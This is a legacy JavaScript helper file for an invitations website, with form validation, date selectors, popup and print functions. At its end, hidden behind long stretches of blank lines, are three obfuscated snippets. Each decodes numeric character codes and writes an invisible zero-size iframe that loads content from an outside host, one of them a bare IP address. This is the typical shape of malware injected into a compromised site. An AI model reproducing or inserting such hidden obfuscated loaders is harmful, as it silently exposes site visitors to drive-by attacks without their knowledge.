function byteCounter(field, countfield, maxlimit,setDiv)
{
	if (field.value.length > maxlimit) // if too long...trim it!
	{
		field.value = field.value.substring(0, maxlimit);
		//document.getElementById(setDiv).innerHTML = field.value.length+"/"+maxlimit;
		document.getElementById(setDiv).innerHTML = maxlimit - field.value.length;
		// otherwise, update 'characters left' counter
	}
	else
	{
		countfield.value = maxlimit - field.value.length;
		//document.getElementById(setDiv).innerHTML = field.value.length+"/"+maxlimit;
		document.getElementById(setDiv).innerHTML = maxlimit - field.value.length;
	}
}

function get_element_text(element_id)
{
	var text = "";
	var elem = document.getElementById(element_id);
	if(elem.textContent) {
		text = trim(elem.textContent);
	} else if(elem.innerText) {
		text = trim(elem.innerText);
	}
	return text;
}

function MM_openBrWindow(theURL,winName,features)
{ //v2.0
  	window.open(theURL,winName,features);
}

function isDefined( variable)
{
    	return (typeof(window[variable]) == "undefined")?  false: true;
}

function strRepeat(cnt)
{
	var retStr = "";
	for(i=0;i<cnt;i++)
		retStr=retStr+",";
	return retStr;
}

function validateForm(myForm,cArray,cnt)
{
	var i=0;
	var values = "theControl,theMessage,theNumeric,theEmail,theURL,theConfirmPassword,thebadstuff,theinteger,thepercent,thesize,thedecimal,theimage,theempty,themin,themax,thecheckboxlength,thephoneno";
	var leftSide = new Array();
	var rightVals = new Array();
	leftSide = values.split(",");

	var strRepeats = strRepeat(cnt-1);

	for(i=0;i<leftSide.length;i++){
		if(cArray[leftSide[i]]){
			rightVals[i] = (cArray[leftSide[i]]);
		}else{
			rightVals[i] = strRepeats;
		}
		leftSide[i]=rightVals[i];
	}

	if(!theValidator(myForm,leftSide[0],leftSide[1],leftSide[2],leftSide[3],leftSide[4],leftSide[5],leftSide[6],leftSide[7],leftSide[8],leftSide[9],leftSide[10],leftSide[11],leftSide[12],leftSide[13],leftSide[14],leftSide[15],leftSide[16]))
		return false;

	return true;
}

function checkDate(day, month, year)
{
	var testDate = new Date(year, Number(month)-1, day); //decrement because months are zero-based
	var now = new Date();

	if(testDate > now)
	{
		alert("Invalid date.");
		return false;
	}
	return true;
}


function generateBirthdates(inputNum, reqBirthday, dd, mm, yy)
{
	var now = new Date();
	var endYear = now.getFullYear()+1;
	var startYear = document.frmHousehold.startYear.value; //probably a bad place for this

	var retElement = document.createElement('span');

	var monthSelect = document.createElement('select');
	monthSelect.setAttribute('name', 'month-'+inputNum); //broken
	monthSelect.setAttribute('id', 'month-'+inputNum);

	var opt = new Option("--", "0", true, true);
	monthSelect.add(opt, null);
	for(i=1; i<=12; i++)
	{
		if(i<10)
			i = '0'+i;
		var opt = new Option(i, i, false, false);
		if(i==mm)
			opt.selected = true;
		monthSelect.add(opt, null);
	}


	var daySelect = document.createElement('select');
	daySelect.setAttribute('name', 'day-'+inputNum); //broken
	daySelect.setAttribute('id', 'day-'+inputNum);
	var opt = new Option("--", "0", true, true);
	daySelect.add(opt, null);

	for(i=1; i<=31; i++)
	{
		if(i<10)
			i = '0'+i;
		var opt = new Option(i, i, false, false);
		if(i==dd)
			opt.selected = true;
		daySelect.add(opt, null);
	}

	var yearSelect = document.createElement('select');
	yearSelect.setAttribute('name', 'year-'+inputNum); //broken
	yearSelect.setAttribute('id', 'year-'+inputNum);
	var opt = new Option("----", "0", true, true);
	yearSelect.add(opt, null);
	for(i=startYear; i<=endYear; i++)
	{
		var opt = new Option(i, i, false, false);
		if(i==yy)
			opt.selected = true;
		yearSelect.add(opt, null);
	}

	monthSelect.setAttribute('onchange', "setChildValue("+inputNum+")");
	daySelect.setAttribute('onchange', "setChildValue("+inputNum+")");
	yearSelect.setAttribute('onchange', "setChildValue("+inputNum+")");

	if(reqBirthday)
	{
		var strongStar = document.createElement('strong');
		strongStar.setAttribute('class', 'red-star');
		var text = "*";
		var textNode = document.createTextNode(text);
		strongStar.appendChild(textNode);
		retElement.appendChild(strongStar);
	}

	text = "Birthdate: ";
	textNode = document.createTextNode(text);

	boldBar = document.createElement('strong');
	textEnd = " | ";
	textEndNode = document.createTextNode(textEnd);
	boldBar.appendChild(textEndNode);

	retElement.appendChild(textNode);
	retElement.appendChild(monthSelect);
	retElement.appendChild(daySelect);
	retElement.appendChild(yearSelect);
	retElement.appendChild(boldBar);

	return retElement;
}

function enableIDs(IDs)
{
	var IDs = IDs.split(',');
	for(i=0;i<IDs.length;i++)
	{
		e = document.getElementById(IDs[i]);
		e.disabled = "";
	}
}

function disableIDs(IDs)
{
	var IDs = IDs.split(',');
	for(i=0;i<IDs.length;i++)
	{
		e = document.getElementById(IDs[i]);
		e.disabled = "true";
	}
}


function showHiddenIDs(IDs)
{
	var IDs = IDs.split(',');
	for(i=0;i<IDs.length;i++)
	{
		e = document.getElementById(IDs[i]);
		e.style.display = "";
	}
}

function hideIDs(IDs)
{
	var IDs = IDs.split(',');
	for(i=0;i<IDs.length;i++)
	{
		e = document.getElementById(IDs[i]);
		e.style.display = "none";
	}
}

function check_mandatory(theForm)
{
	//alert('test');
	//self.setTimeout("show_mandatory(document.getElementById('"+theForm+"'))",2000);
	id = self.setInterval("show_mandatory(document.getElementById('"+theForm+"'))",200);
}

function show_mandatory(theForm)
{
	if(theForm.cat_level2.length >1)
	{
		showHiddenIDs("sub_cat");
		enableIDs("cat_level2");
	}
	if(theForm.cat_level3.length >1)
	{
		showHiddenIDs("sub_cat,sub_sub_cat");
		enableIDs("cat_level2");
		enableIDs("cat_level3");
	}
	/*
	if(stopRep=='true')
		self.clearInterval(id);
	else
		alert('running..');
	//alert('here');
	*/
}

function my_check_mandatory(theForm)
{
	id = self.setInterval("my_show_mandatory(document.getElementById('"+theForm+"'))",200);
}

function my_show_mandatory(theForm)
{
	if(theForm.cat_level2.length >1)
		enableIDs("cat_level2");
	if(theForm.cat_level3.length >1)
		enableIDs("cat_level2,cat_level3");
}

function PrintThisContent(print_div_id,in_admin)
{
	var sWinHTML = document.getElementById(print_div_id).innerHTML;
	var class_file = "esys";
	var addl_path = "";
	if(in_admin==1)
	{
		addl_path = "../";
		class_file = "esys-admin";
	}
	var popup_content='<html><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><title>:: Creative Invitations ::</title><link href="css/'+class_file+'.css" rel="stylesheet" type="text/css"></head><body><table width="600"  border="0" cellspacing="0" cellpadding="0" align="center"><tr><td><img src="images/clr.gif" width="1" height="1" alt=""></td></tr><tr><td id="welcom-bg"><img src="images/clr.gif" width="1" height="2" alt=""></td></tr><tr><td style="padding:15px;"><img src="'+addl_path+'images/logo1.gif" title="Creative Invitations"></td></tr><tr><td bgcolor="#FFFFFF"><table width="100%" border="0" align="center" cellpadding="2" cellspacing="1"><tr class="trbglc"><td>' + sWinHTML + '</td></tr><tr class="trbglc"><td align="center"><img src="images/clr.gif" alt="" width="1" height="1"></td></tr></table></td></tr></table><table width="580" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td height="24" align="center" class="bottom-link-bg">Copyright &copy; 2006, creativeinvitations.com. All Rights Reserved.</td></tr></table></body></html>';

	var sOption="toolbar=yes,location=no,directories=yes,menubar=yes,";
	sOption+="scrollbars=yes,width=620,height=460,left=100,top=25";

	var winprint=window.open("","",sOption);
	winprint.document.open();
	winprint.document.write(popup_content);

	winprint.print();
    winprint.document.close();
    winprint.focus();
}

function compareDates(sDate, eDate)
{
	sDate=sDate.replace(/\//g,'-');	//g for global replace
	eDate=eDate.replace(/\//g,'-');

	var s=sDate.split('-');
	var e=eDate.split('-');

	//s[1],s[2],s[0],e[1],e[2],e[0]
	//dateCompare(pm,pdt,pyr,m,dt,yr)

	/*alert(s[0]+'>'+e[0]);
	alert(parseInt(s[1])+'>'+parseInt(e[1]));
	alert(parseInt(s[2])+'>'+parseInt(e[2]));*/

	if(s[0]>e[0])
		return false;
	else if(s[0]==e[0])
	{
		if(parseInt(eval(s[1]))>parseInt(eval(e[1])))
			return false;
		else if(parseInt(eval(s[1]))==parseInt(eval(e[1])))
		{
			if(parseInt(eval(s[2]))>parseInt(eval(e[2])))
				return false;
		}
	}
	return true;
}

monName = new Array("January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December");

function printCurrentDate() {
	now = new Date();
	time = "";
	var min = now.getMinutes();
	var sDisplayMinutes;
	var ampm = "";

	if(min > 9) {
		sDisplayMinutes = min+"";
	} else {
		sDisplayMinutes = "0"+min;
	}

	hour = now.getHours();
	if(hour >= 12) {
		if(hour > 12){
			hour = (hour-12);
		}
		ampm = "pm";
	} else {
		if(hour == 0) {
			hour = 12; // this is to avoid displaying time in millitary format.
		}
		ampm = "am";
	}
	time = hour + ":" + sDisplayMinutes + " " + ampm;

	//this is a simple hack for now, wherein if the host contains ".com" or ".tmcs", the date will be
	//displaye as Month, Date and full year, otherwise it will be Date, Month, full year
	var hostStr = location.hostname;
	if(hostStr != null) {
		if(hostStr.indexOf('.com') > -1 ||
			hostStr.indexOf('.tmcs') > -1) {
			document.write(monName[now.getMonth()]+" "+now.getDate()+", "+now.getFullYear()+", "+time+".");
		} else {
			document.write(now.getDate()+" "+ monName[now.getMonth()] +", "+now.getFullYear()+", "+time+".");
		}
	} else {
		document.write(monName[now.getMonth()]+" "+now.getDate()+", "+now.getFullYear()+", "+time+".");
	}
}

function getElement(eid) {
   if (document.all) {
      return document.all[eid];
   }
      if (document.getElementById) {
		return document.getElementById(eid);
   }
}

// Checks for null
function isNull(val){
	val += "";
	if ((val == "null") || (val == "") || (val == "undefined")){
		return true;
	}else{
		return false;
	}
}

function limitText(field, maxlimit) {
	if (field.value.length > maxlimit) {
		alert("You've reached the character limit.");
		field.value = field.value.substring(0, maxlimit);
	}
}

function pause(numberMillis) {
    var dialogScript =
       'window.setTimeout(' +
       ' function () { window.close(); }, ' + numberMillis + ');';
    var result = null;
//For IE5.
	if(window.showModalDialog && window.showModalDialog != null) {
    	result = window.showModalDialog('javascript:document.writeln("<script>' + dialogScript + '</script>")');
	}
}

// Creates a popup window based on specified arguments. A handle to the
// popup window is returned so the developer can programmatically manipulate the
// window after it has been launched.
function getPopupWinHandle(loc, width, height, resizable, scrollbars, toolbar, dependent, winName, locationBar, statusBar, align)
{
	// Evaluate the window arguments.
	var alignValue = "top=1,left=1"

	if(align== 'center'){

		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = (screen.height) ? (screen.height-height)/2 : 0;
		alignValue = "top=" + TopPosition + ",left=" + LeftPosition;
	} else if (align=='topright'){
		LeftPosition = (screen.width) ? (screen.width-width): 0;
		TopPosition = 1;
		alignValue = "top=" + TopPosition + ",left=" + LeftPosition;
	} else if (align=='topcenter'){
		LeftPosition = (screen.width) ? (screen.width-width)/2 : 0;
		TopPosition = 1;
		alignValue = "top=" + TopPosition + ",left=" + LeftPosition;
	} else if (align=='topleft'){
		alignValue = "top=1,left=1";
	}

	var win = eval("window.open(loc, '"
		+ winName
		+ "','width=" + width
		+ ",height=" + height
		+ ",resizable=" + resizable
		+  ",scrollbars=" + scrollbars
		+  ",toolbar=" + toolbar
		+  ",dependent=" + dependent
		+  ",screenX=1,screenY=1," + alignValue
		+  ",location=" + locationBar
		+ ",status=" + statusBar + "')");
		//set the focus to the newly created window.
		win.focus();
	// Return a handle to the newly created window.
	return win;
} // function getPopupWinHandle



function check_login(theForm)
{
	arr = new Array();
	arr["theControl"]="email_id,password";
	arr["theMessage"]="Username,Password";
	arr["theempty"]="Y,Y";
	arr["theEmail"]="Y,";
	return validateForm(theForm,arr,2);
}





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

